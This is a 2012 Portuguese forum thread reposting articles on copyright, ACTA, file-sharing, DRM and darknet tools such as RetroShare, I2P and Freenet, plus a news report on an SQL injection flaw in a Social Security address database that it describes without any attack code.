Finalmente, não compete à lei distinguir entre autores “bons” e “maus”. O autor é o criador de qualquer obra, seja a foto do filho seja uma sinfonia. E, nessa perspectiva, qualquer forma de compensação que taxe ferramentas usadas para criar obras causará sempre mais prejuízo a mais autores do que a alternativa, simples, de não cobrar taxa nenhuma.

* Comprei um terreno agrícola há uns meses e tenho andado a plantar e semear hortaliças. É divertido. Mais uma coisa para outro post.

1- Associação Nacional para o Software Livre.
2- Deve aparecer em breve na página do Grupo de Trabalho - Regime Jurídico da Cópia Privada (PJL 118-XII) da Comissão de Educação, Ciência e Cultura.
3- Como apontei há tempos, com estas contas eu teria um prejuízo de milhares de euros por mês se decidisse cobrar um euro pela leitura de cada post neste blog: O dinheiro que poupo com este blog.

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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 22 fev 2012, 19:26

ACTA analisado por Tribunal Europeu de Justiça


22 de Fevereiro de 2012 às 17:07:31 por Pedro Fonseca
Comissário Karel De Gucht quer acordo comercial anti-contrafacção analisado à luz das liberdades e garantias fundamentais dos europeus.

O acordo comercial anti-contrafacção (Anti-Counterfeiting Trade Agreement ou ACTA) vai ser analisado pelo Tribunal Europeu de Justiça (TEJ), revelou esta manhã o responsável comunitário do comércio, Karel De Gucht.
O objectivo é analisar a compatibilidade do ACTA com os direitos e liberdades fundamentais na União Europeia, como a liberdade de expressão e de informação, protecção de dados pessoais e o direito à propriedade no âmbito da propriedade intelectual, disse De Gucht.
Este responsável lembra que o ACTA já foi entregue pela Comissão Europeia aos Estados membros para ratificação e que o Conselho Europeu adoptou por unanimidade o ACTA em Dezembro, autorizando os países a assiná-lo (Portugal foi um dos países que se disponibilizou a assiná-lo). Mas o documento ainda está no Parlamento Europeu para debate e votação, pelo que “a Comissão Europeia tem a responsabilidade de fornecer aos nossos representantes parlamentares e ao público em geral a informação actualizada mais detalhada e fiável” sobre o ACTA.
Ao entregá-lo ao TEJ, De Gucht pretende que a instituição “clarifique independentemente a legalidade deste acordo” e que o “debate seja baseado em factos e não em desinformação ou rumores que dominaram os sites de media sociais e blogues nas últimas semanas”.
O ACTA foi alvo de algumas manifestações recentes contra a sua aprovação, nomeadamente pela possibilidade de censura e vigilância nos meios online.
O responsável comunitário clarifica que “o ACTA não muda nada como usamos a Internet e os sites sociais hoje – dado que não introduz nenhumas novas regras. O ACTA apenas ajuda a reforçar o que já está na lei actual”.
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 24 fev 2012, 22:22

Treta da semana: essa é que é essa...

No Jornal de Negócios desta semana, o João Cândido da Silva expõe o problema da pirataria e dos downloads de uma forma tão inteligente quanto original: «Milhares de pessoas que jamais assaltariam um supermercado, uma livraria ou uma loja de discos consideram legal e legítimo fazer descarregamentos de música ou filmes a partir da Internet, sem pagarem um tostão.»(1)

Na verdade, é espantoso como as pessoas podem ser tão inconsistentes e inconscientes. Quando descarregam uma música – ou, pior ainda, quando fazem um descarregamento – e não pagam o tostão, estão a obter informação que lhes permite recriar algo pelo qual talvez pagassem se o quisessem comprar e se não tivessem conseguido obter essa informação. Isso é o mesmo que roubar uma data de tostões. E não é só um problema nas músicas, filmes e livros.

Há também muitas pessoas que jamais assaltariam um restaurante ou uma pastelaria mas que consideram legal e legítimo fazer descarregamentos de páginas de receitas a partir da Internet, sem pagarem um tostão. Recebem assim a informação necessária para recriar, no conforto dos seus lares, aquelas refeições e sobremesas que tanto trabalho dão a confeccionar nos restaurantes e pastelarias circundantes. Com isto, roubam aos cozinheiros, empregados de balcão e investidores da restauração a remuneração que lhes é devida pelo seu trabalho.

O problema, como o JCS aponta, «tem vindo a ganhar a dimensão de um pesadelo», dimensão esta que, presumo, seja grande, a menos que seja a quinta. Diz o JCS que «Um computador, uma ligação à Internet e memória bastante num disco rígido para acomodar o fruto dos "downloads" é o que basta», mas o problema é ainda pior do que isso. Pior do que os descarregamentos é a partilha. Por exemplo, tenho visto muitas vezes pessoas na rua a perguntar as horas a outras que, como se fosse algo legítimo e inocente, lhes dizem imediatamente que horas são. Se esta pirataria se generaliza muita gente deixará de usar relógio e toda a indústria da relojoaria será prejudicada. Como escreve o JCS «É suposto os bens e serviços produzidos por uns serem pagos por quem os consome.» É quem consome a informação acerca das horas que são que deve pagar esse consumo aos relojoeiros que produzem a informação. A partilha indiscriminada de receitas, horas, dicas de como tirar nódoas, álgebra, gramática, história e tanta coisa que se pirateia – até em escolas públicas – é um roubo descarado a todos aqueles que poderiam ganhar fortunas se todos lhes pagassem por esta informação.

E isto tem consequências: «As fortes quebras de receitas registadas pelos sectores que se dedicam aos "bens culturais" ameaçam transformar-se numa sentença de morte». A tragédia que assolou a culinária, o Xadrez e a filosofia, ameaça agora a música, a escrita e o audiovisual. Sem a protecção legal da sua propriedade intelectual, as receitas, jogadas de Xadrez e ideias filosóficas praticamente desapareceram. Se não é possível ganhar dinheiro proibindo a circulação dessa informação, é óbvio que ninguém irá inventar receitas, jogar Xadrez ou filosofar. É isso que vemos acontecer com a cultura. Quem conhece a Internet certamente notou como se torna cada vez mais difícil encontrar textos para ler, músicas para ouvir ou vídeos para ver. Até o Jornal de Negócios se vê obrigado a publicar artigos como o do JCS, tal é a desertificação cultural à qual a pirataria nos levou.

Para terminar, queria manifestar a minha total concordância com o JCS em que todos «têm direito a receber a contrapartida pela sua criatividade e pelo seu labor.» E vou mais longe. Proponho ao JCS que lhes pague. A todos. Que não me venha com a desculpa de que só paga a quem cria as músicas de que ele gosta ou os filmes que ele vê porque isso não faz qualquer sentido. Se quem cria tem o direito de ser remunerado, esse direito não desaparece em função dos gostos do JCS. É um direito, e ele tem de o respeitar, quer goste quer não goste.

Até pode começar já por mim. Fico então à espera do cheque por este post, que muito labor e criatividade levou a produzir para que agora o consumam.

1- Jornal de Negócios, Tributem as facas. http://www.jornaldenegocios.pt/home.php?template=SHOWNEWS_V2&id=538385
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 30 mar 2012, 19:12

Entrevista com o fundador e administrador do wareztuga



Hoje vamos entrevistar o fundador e administrador do wareztuga, o site nacional que mais tem criado “problemas” aos defensores dos cidadãos que foram à net e nunca sacaram uma música ou um filme. Ou seja, pouca gente.


Obrigado por aceitares a entrevista. Para quem ainda não conhece, o que é o wareztuga?
O wareztuga nasceu a 10 de Junho de 2006, tendo sido o primeiro projeto totalmente português a recorrer à partilha de ficheiros através do protocolo HTTP. Numa época em que já era recorrente fazer-se downloads pela internet, o wareztuga foi pioneiro na forma organizada como indexou todo o conteúdo, assim como foi a rampa para que os conhecidos filehosts fossem também uma opção para quem não queria fazer downloads via p2p.
Desde então, tem sido um dos projetos que mais tem lutado contra a censura na internet em Portugal, não temendo qualquer tipo de pressão vinda de órgãos que se acham capazes de limitar conteúdos a todos aqueles que pretendem ter acesso livre à cultura.
Em 2010, o nosso projeto esteve totalmente fechado, tendo sido praticamente público que seria o seu fim. No entanto, em Janeiro de 2011, o wareztuga voltou novamente, com um novo portal/fórum, design altamente melhorado e com uma comunidade extremamente forte. Desta nova união nasceu o wareztuga.tv, o projeto que mais teve em foco no último trimestre de 2011 em Portugal.



O vosso fecho em 2010 deveu-se a algo que possas revelar?
A verdade é que fomos vítimas do nosso próprio sucesso. Numa fase em que o wareztuga v1 (assim denominado na altura) crescia a olhos vistos e era a referência máxima no nosso país, decidimos dar um passo maior e desenvolver na totalidade um portal/fórum powered by wareztuga. Neste caso denominado wareztuga v2, que por sinal foi um excelente produto, mas que acabou por pecar nos atrasos que gerou. Apesar disso, foi uma experiência que nos enriqueceu imenso e que nos mostrou que nem sempre o pioneirismo é uma vantagem, pois por mais vontade que haja em produzir algo de elevada qualidade, esta área tem como foco único e natural a partilha de ficheiros. De qualquer das formas, sempre fomos assim, não nos basta ter um fórum tradicional e partilhar conteúdo.
Para nós, tem que haver nível acima de tudo, prova disso é a aparência e organização que todos os nossos projetos apresentam.



E o motivo que vos levou a “ir abaixo” temporáriamente, qual foi?
Vários motivos. Tivemos imensos problemas com organizações antipirataria, o wareztuga v2 não correspondia às expectativas e a nossa solução passou por fechar temporariamente o projeto. Inicialmente, seriam só umas semanas, depois apenas uns meses, quando acabou por ser mesmo um ano. Depressa percebemos o vazio que a nossa forte comunidade causava e tivemos que arranjar uma solução viável para que o wareztuga voltasse, quanto mais não fosse para cultivar este forte nome, que tanta história tem para contar.



Neste momento existem dois sites. O wareztuga.ws e o wareztuga.tv. Fala-nos um pouco de cada um deles.
O wareztuga.ws é o projeto base do wareztuga, onde se encontra o seu portal de downloads, o fórum e uma comunidade fascinante. Pois existem milhares de portais de downloads, todos eles com as suas qualidades, mas são poucos os que conseguem reunir um grupo de pessoas como o wareztuga. Pois o sucesso do projeto vem, particularmente, do enorme conteúdo que temos disponível, assim como o rigor que diariamente temos na inserção do mesmo. No entanto e apesar desta ser a nossa imagem de marca, a verdadeira essência do wareztuga vem da família que ali se criou e que diariamente passa momentos que provavelmente são difíceis de entender para quem está do lado de fora.
Diariamente, a nossa comunidade torna pessoas mais capazes, mais cultas e mais bem-dispostas no seu dia-a-dia. Já foi capaz de se juntar para que um membro ganhasse um concurso que parecia impossível, já cultivou fortes amizades que serão marcos para a vida e até mesmo casais de namorados. (risos)
O wareztuga.tv não é mais do que a nova coqueluche da internet portuguesa, tendo sido um projeto pensado há já muito tempo mas só em Setembro de 2011 apresentado. Nada mais é que um espaço com filmes e séries, onde rapidamente se consegue ver este mesmo conteúdo sem qualquer tipo de dificuldade ou demora. A usabilidade cativou essencialmente os portugueses, devido ao dinamismo apresentado desde início, assim como a capacidade de diariamente se focar em conteúdo recente e já com legendas em português. Ou seja, o wareztuga.tv nada mais é que uma espécie de “YouTube” com filmes e séries, com a particularidade que já possui legendas em português automaticamente. No fundo, a nossa ideia passou por facilitar o trabalho às pessoas, que habitualmente tinham que ir a um sítio fazer download, a outro procurar as legendas e por fim dar início à sua sessão. No wareztuga.tv bastam dois cliques e tudo isto está em curso. Da simplicidade nasceu um projeto único, mais uma vez totalmente inédito em Portugal (assim como o wareztuga em 2006) e que já conta com mais de 30 mil fãs na rede social Facebook.



O vosso site com a popularidade que tem já deve ter incomodado algumas pessoas ou instituições. O que nos podem dizer sobre isso?
Sem dúvida. É uma luta sem fim. Neste momento temos a MAPiNET a fazer queixas um pouco por todo o lado para que o wareztuga.ws seja fechado. É algo que não poderão ganhar, seja em que circunstância for, pois enquanto houver uma equipa como a nossa, dificilmente essa mente capitalista será capaz de silenciar seja quem for, muito menos fazer com que o nosso espaço seja apenas uma lembrança.







Vocês alojam algum material como filmes e séries nos vossos servidores?
É lógico que não, o wareztuga apenas indica o local onde esse material se encontra, serve como uma espécie de ponte credível. Pois visa facilitar o acesso a esse conteúdo duma forma rápida e altamente fiável.



Então… se vocês não alojam nada no vosso servidor, porque é que vos tentam fechar com queixas? Não podem também, por essa lógica, fazer queixa do Google quando linka ao The Pirate Bay?
Certo… No entanto, a MAPiNET é representada por pessoas que não são capazes de realizar um exercício mental tão exigente…



Além da MAPINET existe mais alguma empresa, associação ou movimento que vos tenha causado problemas?
Sim, em tempos também a ACAPOR tentou criar fortes laços com o wareztuga, acabando por perceber que não éramos o par perfeito para este tipo de aventuras, assumindo a rejeição e partindo provavelmente para outra.



Que tipo de fortes laços? Algo na linha do promoverem videoclubes no vosso site?
Não, quando me refiro a laços, falo naturalmente numa forma de se envolverem connosco mas duma perspetiva negativa. Tentando que o nosso projeto fosse também ele fechado e que a nossa comunidade se tornasse extinta.



Tanto no wareztuga.ws e no wareztuga.tv, quais são na tua opinião as melhores diferenças que o site tem em relação a outros sites do género?
Descontando já a enorme comunidade que falamos, penso que o profissionalismo que é adotado desde o primeiro dia nos distancia dos demais projetos sobre o mesmo tema. Apesar de ser um projeto sem qualquer tipo de fim lucrativo ou sem qualquer tipo de exigência visual, a verdade é que sentimos gosto em ter tudo devidamente limpo e organizado, assim como uma estética acima da média.
Chegamos a ser contactados por várias empresas para criar produtos semelhantes no mercado e na indústria digital, pois consideram que a nossa capacidade de trabalho é singular, principalmente numa área em que essa necessidade não é um requisito. No entanto, é acima de tudo uma questão de mentalidade que queremos manter e que está bem presente na cultura de todos que aqui trabalham diariamente.







Não tem fins lucrativos. Vivem de donativos. Os donativos que recebem chegam para pagar servidores e outros meios essenciais ao vosso trabalho?
Os donativos são recentes no wareztuga, pois durante mais de um ano desde o seu regresso que todas as despesas estavam a ser cobertas pela nossa equipa, incluindo prémios que foram dados aos nossos membros, como foi o caso duma PlayStation 3.
Hoje em dia torna-se extremamente complicado ser mantido única e exclusivamente por nós, pois dadas as queixas que estamos constantemente a enfrentar, obriga-nos a procurar soluções que nos garantam mais segurança e fiabilidade. Como é óbvio, neste mundo, esse tipo de imunidade está cada vez mais cara.



O que é que achas que o futuro vos reserva tanto no site, como na cultura e na mentalidade das pessoas em Portugal sobre a temática dos downloads?
Para que todos consigam fazer download daquilo que tanto gostam, as pessoas têm primeiramente que entender que são necessários imensos grupos voluntários que por vezes se arriscam pela liberdade de todos os outros. Será sempre assim, mas penso que todos podem dar o seu contributo sem que tenham que estar diretamente ligados a este tipo de atividades. O que nos querem obrigar a fazer, ou neste caso, não fazer, vai muito além dos downloads que efectuamos, trata-se acima de tudo duma questão ética e humana que em sociedade devia ser claramente reprovável. O que acaba por manchar quem nisto está pelo espírito de partilha, são as inúmeras pessoas que lucram de forma vergonhosa com a pirataria, acabando por prejudicar todas as outras que apenas vêem brilhantismo na partilha dum filme épico ou duma música inesquecível. Estes parasitas, devem ser os principais alvos de quem tanto quer proibir a partilha de ficheiros, não nós, que temos provas dadas de que o nosso propósito é o acesso livre à cultura. Pois quem realmente faz download de algo para consumo próprio, é porque vê valor nesse produto, logo deveria ser um motivo de orgulho para quem o concebeu e realizou.



Por último a quem vos segue ou a quem vos conheceu agora, queres deixar alguma mensagem?
Posso dizer que tenho um orgulho enorme na nossa comunidade, pela forma heroica como juntos fomos capazes de tornar este projeto numa referência nacional, não pela fama alcançada, mas pela capacidade de lutar contra as adversidades, de nunca vergar perante os que nos querem censurar e acima de tudo, pelo profissionalismo demonstrado desde 2006.
Hoje somos um ícone de organização, trabalho e competência, onde já ninguém coloca sequer em causa a nossa honestidade, pois a postura digna e transparente que conquistamos ao longo dos anos permitiu-nos hoje ter uma presença credível no nosso país e honrada perante todos.

fonte: http://www.tugaleaks.com/wareztuga.html
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 30 mar 2012, 20:43

Darknets



Para nós, que apreciamos da privacidade, é sempre interessante encontrar maneiras de se comunicar com amigos e familiares na internet sem ter que se preocupar que alguém assistindo a tudo o que estamos fazendo. Com a batalha contra a pirataria, é interessante observar a precipitação tecnológica que está ocorrendo na área de software.
Uma notícia recém-chegada no palco P2P está apenas começando a chamar a atenção dos Mass Midia . Após instalá-lo e configurá-lo, eu posso ver o porquê. Numa darknet tiramos proveito de uma variedade de tecnologias para fornecer uma maneira simples de nos mantermos verdadeiramente anonimos.
Para a maioria das pessoas, um Darknet soa um pouco como ele pertence firmemente no reino de toda a atividade criminosa, e em alguns casos isso não é uma percepção totalmente errada. Com o encerramento recente do MegaUpload, numerosos on-line arquivo de sites de compartilhamento de simplesmente fechar a loja. Embora houvesse muitos usuários legítimos, é claro que uma enorme quantidade de pirataria é realizada utilizando-line de partilha de arquivos. Não é de admirar que o software como RetroShare, que permite compartilhar arquivos em particular dentro de sua própria rede de confiança, de repente a ganhar força entre os piratas. Darknets sempre ofereceram um refúgio seguro para criminosos, porque a sua arquitectura foi desenhada para esconder a atividade dos nossos olhos.
Mas darknets realmente tem muito a oferecer, e Freenet,i2P, e RetroShare são exemplos no caso RetroShare longe de ser chamada uma rede P2P, preferindo o termo F2F (amigo para amigo). Isso porque ao contrário da maioria redes P2P, onde o seu computador irá se conectar à rede e partilhar informações com um grande número de colegas desconhecidos, RetroShare só ligar aos outros que você explicitamente permite em sua rede, e todas as comunicações são particulares. Tudo que você precisa fazer é instalar o software e gerar uma chave PGP / GPG, que será usada para criptografar e descriptografar o tráfego de rede. A parte difícil é conseguir pelo menos 5 de seus amigos para também instalar o software e compartilhar suas chaves públicas. Uma vez feito isso, você tem sua própria Darknet.
Para os piratas, e outros criminosos, o apelo óbvio é a capacidade de compartilhar dados em uma rede confiável que ninguém mais pode monitorar. Mas você não precisa ter intenção criminosa para ver as vantagens deste. Para começar, o RetroShare abre a possibilidade de compartilhar arquivos de trabalho com computadores em casa dentro de uma estrutura segura, bem como uma VPN, mas com muito menos problemas. Ele também permite que você partilhe as coisas como fotos da sua mais recente aventura de bêbado com os seus amigos (e somente seus amigos). Esta é a diferença fundamental que faz com que este software diferente para o seu software de compartilhamento de arquivos P2P. Você tem controle completo sobre quem pertence à sua rede e o que eles podem ver.
Mas o compartilhamento de arquivos não é o so partilhar F2F ou P2P. RetroShare inclui uma série de características de 'rede social' que é realmente muito atraente para o utilizador final. Para começar, ele inclui um Instant Messenger que lhe permite conversar com amigos de forma privada e segura, sem qualquer ipotese de terceiros olhando a sua conversa ou armazenar um log dele para referência futura. Isso inclui também "Group Chat", onde você se pode comunicar com todas as pessoas na sua rede (ou com grupos de amigos) isto tudo num espaço seguro.
Há também algo equivalente ao e-mail, para as comunicações menos imediatas entre amigos dentro de sua rede. O lado do cliente de coisas aqui parece suficientemente semelhante a uma versão mais antiga do Thunderbird para a maioria dos utilizadores se sintam em casa. Claro, e-mail só funciona dentro da sua rede, mas cria um espaço para mensagens privadas e seguras para quando os usuários estão offline, e permite-lhe enviar anexos para outras pessoas na rede, mesmo que os arquivos que você deseja anexar nao pertencam aos seus habituais diretórios compartilhados.
De acordo com a 'rede social' do software, existe também um espaço fórum seguro que essencialmente comporta-se de uma maneira semelhante à USENET. Qualquer pessoa pode criar o seu próprio fórum, ou inscrever-se no fórum, para trocar mensagens com outros utilizadores na sua rede com os mesmos interesses.
Nenhuma das instalações que [b]RetroShare[/b] tem para oferecer parecem particularmente novas ou inovadoras. No entanto, RetroShare fornece muitos dos recursos que você pode procurar numa boa rede social, mas com a vantagem de total privacidade. Além disso, acredito que ele tem um grande potencial como uma ferramenta no local de trabalho, para fornecer maneiras de compartilhar arquivos de forma segura com terceiros e para proteger as comunicações. O RetroShare pode ser facilmente instalado em Windows, Linux ou computadores Mac e tem uma interface tão simples que até a minha mãe pode usá-lo.


i2P


É uma rede de anonima, que oferece uma camada simples de encryptaçao em que identidades sensíveis de aplicativos podem ser utilizados para comunicar de forma segura. Todos os dados são embalados com várias camadas de criptografia, e a rede é ao mesmo tempo distribuída e dinâmica, sem partes confiáveis.

Muitas aplicações estão disponíveis que fazem interface com I2P, incluindo correio, peer-peer, chat IRC, e outros.

O projeto I2P foi formada em 2003 para apoiar os esforços de quem está tentando construir uma sociedade mais livre, oferecendo-lhes um sistema de comunicação sem censura, anônima e segura. I2P é um esforço de desenvolvimento produzindo uma rede de baixa latência, totalmente distribuída, autônoma, escalável, e anônima,. A meta é operar com sucesso em ambientes hostis - mesmo quando uma organização com recursos financeiros substanciais (como governos) atacam. Todos os aspectos da rede são de código aberto e está disponível sem custo, já que esta deve assegurar tanto as pessoas que o usam que o software faz o que afirma, bem como habilitar outras pessoas para contribuir e aperfeiçoá-lo para derrotar as tentativas agressivas sufocam a liberdade de expressão.

Anonimato não é um boolean - não estamos tentando fazer algo "perfeitamente anónimo", mas estão trabalhando para tornar os ataques mais e mais dificeis de montar. I2P é uma rede mix de baixa latência, e há limites para o anonimato oferecido por esse sistema, mas as aplicações do I2P, como Syndie, correio I2P, e I2PSnark r estendê-lo para oferecer a funcionalidade adicional e proteção.

I2P é ainda um trabalho em progresso. Não deve ser invocada para manter o anonimato "garantido" neste momento, devido ao tamanho relativamente pequeno da rede ea falta de revisão acadêmica extensa. Ele não é imune a ataques de pessoas com recursos ilimitados, e pode nunca ser, devido às limitações inerentes das redes de baixa latência.

I2P funciona roteando o tráfego através de outros pares. Todo o tráfego é criptografado de ponta a ponta.

Freenet


È um software gratuito que permite compartilhar arquivos de forma anônima, pesquisar e publicar "freesites" (sites acessíveis apenas através Freenet) e conversar em fóruns, sem medo de censura. A Freenet é descentralizada para torná-la menos vulnerável a ataques, e se usado no modo "darknet", onde os utilizadores se conectam a apenas seus amigos, é muito difícil de detectar.

Comunicações por Freenet são criptografadas e são encaminhadas através de outros para torná-la extremamente difícil determinar quem está solicitando as informações e qual o seu conteúdo.

Os utilizadores contribuem para a rede, dando largura de banda e uma parte do seu disco rígido (chamado de "armazenamento de dados") para armazenar arquivos. Os arquivos são automaticamente mantidos ou excluídos, dependendo de como eles são populares, com o menos popular de ser descartado para dar lugar a conteúdo mais recente ou mais popular. Os arquivos são criptografados, de modo geral, o utilizador não pode facilmente descobrir o que está em seu armazenamento de dados, e esperemos que não possa ser responsabilizado por isso. Fóruns de discussão, websites, e funcionalidades de pesquisa, são todos construídos no topo desta armazenamento de dados distribuído.

Foi feito o download do Freenet por mais de 2 milhões de vezes desde que o projeto começou, e utilizado para a distribuição de informação censurada em todo o mundo, incluindo países como a China eo Oriente Médio. Idéias e conceitos pioneiros na Freenet podem ter tido um impacto significativo no mundo acadêmico.

Um desenvolvimento importante recente, que muito poucas outras redes têm, é a "darknet": Por apenas ligar a pessoas em quem confiam, os utilizadores podem reduzir a sua vulnerabilidade, e ainda se ligarem-se a uma rede global através de amigos dos amigos dos seus amigos e assim por diante. Isso permite que as pessoas usem Freenet mesmo em lugares onde a Freenet pode ser ilegal, torna muito difícil para os governos para bloqueá-lo, e não depende de tunelamento para o "mundo livre".

http://retroshare.sourceforge.net/
http://www.i2p2.de/
https://freenetproject.org/
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 05 mai 2012, 13:44

Entrámos numa base de dados da Segurança Social

Uma técnica simples permitiu-nos aceder a uma base onde estão armazenadas informações sobre os beneficiários da Segurança Social. A página foi removida depois do alerta da Exame Informática.

Sérgio Magno


Em http://www.seg-social.pt/consultas/justica/login.asp foi possível entrar na base de dados com o utilizador Admin (administrador) graças a uma técnica simples de injeção de código SQL


Uma técnica simples permitiu-nos aceder a uma base onde estão armazenadas informações sobre os beneficiários da Segurança Social. A página foi removida depois do alerta da Exame Informática.

H0rd0n é o nome de código de um estudante português, que tem por passatempo verificar a segurança de sites pertencentes a organismos importantes. H0rd0n, que admite ser um ex-membro de um grupo de hackers portugueses, descobriu uma vulnerabilidade no site da Segurança Social, mais propriamente numa base de dados alojada em http://www.seg-social.pt/consultas/justica/login.asp. Nesta página, uma técnica de injeção de comandos SQL, muito conhecida dos hackers, permitia entrar na base de dados e fazer pesquisas através do nome do beneficiário. Fizemos o teste com informação que nos foi enviada por H0rd0n e verificámos que, de facto, era muito fácil entrar na referida base de dados.

Fizemos pesquisas usando os nomes dos jornalistas da Exame Informática e obtivemos como resultado as datas de nascimento e as moradas, embora algumas delas estão muito desatualizadas.

A Exame Informática entrou em contacto com o Instituto de Informática da Segurança Social ao final da manhã para pedir esclarecimentos, indicando a falha identificada. A página em questão foi removida há cerca de três horas.

De acordo Miguel Alexandre Marques, Secretário do Conselho Diretivo do Instituto de Informática da Segurança Social, a «página web em causa foi disponibilizada em 2001 para dar resposta a uma situação específica e transitória, de forma a permitir aos Tribunais a validação de moradas usadas nas citações judiciais devolvidas por erro na morada, sendo esse um processo completamente autónomo do Sistema de Informação da Segurança Social.»

O mesmo responsável garante ainda que a vulnerabilidade detetada não afeta minimamente as bases de dados do Sistema de Informação da Segurança Social.

Considerando todas estas informações, somos levados a concluir que a referida base de dados de moradas esteve vulnerável desde 2001, altura em que deveria estar perfeitamente atualizada.

http://exameinformatica.sapo.pt/
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 08 mai 2012, 18:37

Os DRM não são para os “piratas”

— May 4, 2012

Hoje comemora-se o dia contra os DRM. Os DRM (também chamados de tecnologias anti-cópia ou medidas eficazes de carácter tecnológico, como são designado pela lei portuguesa) são tecnologias que são colocadas em conteúdos digitais (ebooks, audiobooks, filmes, música, etc) ou em software/hardware (computadores, telemóveis, leitores de mp3 e media em geral) com o objectivo de restringir as acções dos utilizadores.

Os DRM ganharam protecção legal nos Estados Unidos da América em 1998, na Europa em 2001 e em Portugal em 2004. Pela primeira vez, a lei permitiu que a indústria do entretenimento possa eliminar as funcionalidades dos dispositivos que os cidadãos compram e, pior, podem castigar aqueles cidadãos que tentem restaurar essas funcionalidades.

Os DRM foram “vendidos” aos políticos com o argumento de que eram uma forma de se protegerem as obras dos autores da “pirataria”.

Se os políticos se tivessem dado ao trabalho de perceber como é que os DRM funcionam, teriam percebido que os DRM nunca poderiam proteger as obras da “pirataria”. O que acontece com os DRM é o seguinte: as editoras colocam cadeados nas obras, colocam as chaves que abrem esses cadeados no hardware ou software que lêem essas obras e depois vendem tudo ao público. Ora, os atacantes estão no público e portanto têm acesso ao cadeado e à chave que o abre, sendo que a única coisa que têm de fazer é perceber como é que a chave abre o cadeado. Não é possível acreditar que este sistema pudesse alguma vez resultar.

As evidências de que os DRM não protegem as obras da “pirataria” são tão grandes que as próprias editoras têm sido forçadas a admitir que o objectivo do DRM não é proteger as obras da pirataria.(1)

No início deste ano, a Warner disse-nos qual é exactamente o objectivo do DRM(2): eliminar as utilizações livres dadas pela lei aos cidadãos, obrigando-os a pagar várias vezes pela mesma obra.

As leis de direito de autor (ou copyright) garantem um conjunto de utilizações que os cidadãos podem fazer de obras protegidas por direito de autor, sem terem de pedir autorização aos detentores de direitos. Por exemplo, a utilização de obras em contexto educativo, a cópia privada, a utilização de uma obra para fins de crítica ou investigação científica, etc.

Se pensarmos que o novo conhecimento se produz sempre a partir de conhecimento anterior, facilmente percebemos que estas utilizações não são só benéficas, mas fundamentais para a evolução da sociedade.

É por isto que a protecção legal aos DRM é abjecta: porque permite que os detentores de direitos eliminem as utilizações legais que a lei estipula.

Dois exemplos:

1 – Os cidadãos têm o direito a fazer cópias privadas de obras protegidas por direito de autor e pagam para o fazer. Mas se os detentores de direitos colocarem DRM nas obras, os cidadãos perdem o direito à cópia privada.

2 – Um professor pode mostrar numa sala de aula um filme protegido por direito de autor para ensinar sobre um determinado tema. Mas se a sala de aula for o Moodle (ou outro LMS) e o filme tiver DRM, o professor perde esse direito (em Portugal, dá prisão).

Seria bom que os nossos políticos pensassem nisto: que as editoras coloquem os DRM que quiserem nas obras, mas que os cidadãos possam contornar estes DRM sempre que o fim seja uma utilização legal, descrita na nossa lei no artigo das utilizações livres.

Não é pedir mais do que o que a lei teoricamente determina

1.-http://paulasimoesblog.wordpress.com/2010/07/22/libranda-o-drm-nao-e-para-os-piratas-e-para-si-caro-leitor/
2.-http://paulasimoesblog.wordpress.com/2012/03/07/as-ideias-geniais-da-warner-e-como-o-dropbox-e-creepy/
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 12 mai 2012, 18:43

May12
Notas finais sobre o estudo da APEL/ISCTE sobre a cópia ilegal de livros

— May 12, 2012

2

O estudo da APEL/ISCTE conclui que “a cópia ilegal no ensino superior e profissional representa um prejuízo de 63,57 milhões de euros no retalho“. E foi isto que foi passado para os media. Infelizmente, os jornalistas não se deram ao trabalho de questionar aquilo que lhe estava a ser dito. Disseram-lhes que a cópia ilegal representava um prejuízo de milhões e cegos pelos milhões de euros nem questionaram o que é uma cópia ilegal.

Este valor de 63,57 milhões de euros é explicado no estudo pelo quadro abaixo, que se encontra na pág. 91. De seguida irei explicar porque é que estes valores são falsos.

O primeiro valor encontrado é de 41,25 milhões de euros que correspondem às fotocópias.

O estudo lista os vários métodos de cópia mais frequentemente utilizados.

Cópia pelo próprio (casa)

Este tipo de cópia não é ilegal: Confrontar com Art. 75º, ponto 2, alínea a) do CDADC. Além disso, os motivos dados pela grande maioria dos estudantes, no estudo, para recorrerem às fotocópias são económicos (preço dos livros), logo quando a grande maioria dos estudantes recorre às fotocópias não está a atingir a exploração normal da obra.

Cópia pelo próprio (loja)

Este tipo de cópia não é ilegal: Confrontar com Art. 75º, ponto 2, alínea a) do CDADC. Além disso, os motivos dados pela grande maioria dos estudantes, no estudo, para recorrerem às fotocópias são económicos (preço dos livros), logo quando a grande maioria dos estudantes recorre às fotocópias não está a atingir a exploração normal da obra.

Deixar de um dia para o outro a fotocopiar em estabelecimento

Este tipo de cópia não é ilegal: Confrontar com Art. 75º, ponto 2, alínea a) do CDADC. Refira-se adicionalmente o Art. 76º, ponto 1, alínea b) do CDADC. Além disso, os motivos dados pela grande maioria dos estudantes, no estudo, para recorrerem às fotocópias são económicos (preço dos livros), logo quando a grande maioria dos estudantes recorre às fotocópias não está a atingir a exploração normal da obra.

O livro já se encontra digitalizado na loja e não é necessário levar o livro

Este tipo de cópia é ilegal. A ilegalidade é feita pela loja que está a distribuir e a disponibilizar publicamente a obra sem autorização do autor.

O livro existe em formato digital, sendo transferido entre amigos

Este tipo de cópia é ilegal. A ilegalidade é feita por quem dá o livro por estar a distribuí-lo sem autorização do autor.

Outros (que não comento por não saber quais são)

De referir que o método mais frequente e usado pelos estudantes universitários é o “Deixar de um dia para o outro a fotocopiar em estabelecimento“.

Daqui temos que de entre os cinco métodos de cópia mais utilizados, três são legais (incluindo o método mais frequente e utilizado) e dois são ilegais. Donde, para o estudo quantificar o valor que corresponde à cópia ilegal, teria de subtrair as “Cópia pelo próprio (casa)”, “Cópia pelo próprio (loja)”, “Deixar de um dia para o outro a fotocopiar em estabelecimento”, sendo que este último corresponde à fatia maior.
O segundo valor encontrado é de 9,96 milhões de euros que correspondem aos downloads.

Em Portugal, fazer um download (se for para uso exclusivamente privado e não atingir a exploração normal da obra nem causar prejuízo injustificado dos interesses legítimos do autor) é fazer uma reprodução permitida por lei. Confrontar com Art. 75º, ponto 2, alínea a) e com ponto 4 do mesmo artigo do CDADC.

